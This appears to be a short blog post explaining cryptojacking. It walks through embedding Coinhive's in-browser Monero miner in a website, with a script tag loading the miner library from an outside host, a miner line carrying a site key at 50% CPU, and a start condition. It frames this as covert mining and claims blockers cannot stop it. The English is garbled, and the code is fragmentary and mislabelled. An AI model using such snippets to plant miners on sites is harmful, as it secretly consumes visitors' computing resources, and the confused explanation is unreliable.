Cryptojacking is a new terms that means as a secret use of your computing device to mine cryptocurrency where it normally used on the purpose of be confined to the victim without their awareness. The function of it is to installing the program on the device to secretly mines the cryptocurrency.

Cryptojacking process

The method will needed a JavaScript to be functioning on the website so that the attacker can mine for cryptocurrency.

This JavaScript will just run on any website that the victim access where the JavaScript code will take over on the in-browser mining and this is not be needed to be installed on the browser.

In Nov 2017, there’s a in-browser mining that available that used for mine Monero cryptocurrency.

Cryptojacking code

For the first line on the code, you need to insert the JavaScript Cryptomining library from Coinhive.Compared to the other library, this coding can’t be blocked by the Cryptojacking Blocker apps.

<script src=”https://authedmine.com/lib/authedmine.min.js”></script>

Line 3 will explain abou the var miner that been used for my Coinhive account and it will made use of 50% of the CPU progress.

var miner = new CoinHive.Anonymous(‘nom2KNN1a8m7mJIHdNcI4FbluQ7lmpYA’, {throttle: 0.5});

Line 7 until 8 will only start when non-mobile device is available and will opted-out when there’s no available device been found in the 4 hours (14400 second)

if (!miner.isMobile() && !miner.didOptOut(14400)) {

The Source code can be found on Coinhive: Authedmine Documentation

Source: Coinhive: Authedmine Documentation

I'm an IT Security Writer with a passion and talent for aligning security architecture, plans, controls, processes, policies and procedures with security standards and operational goals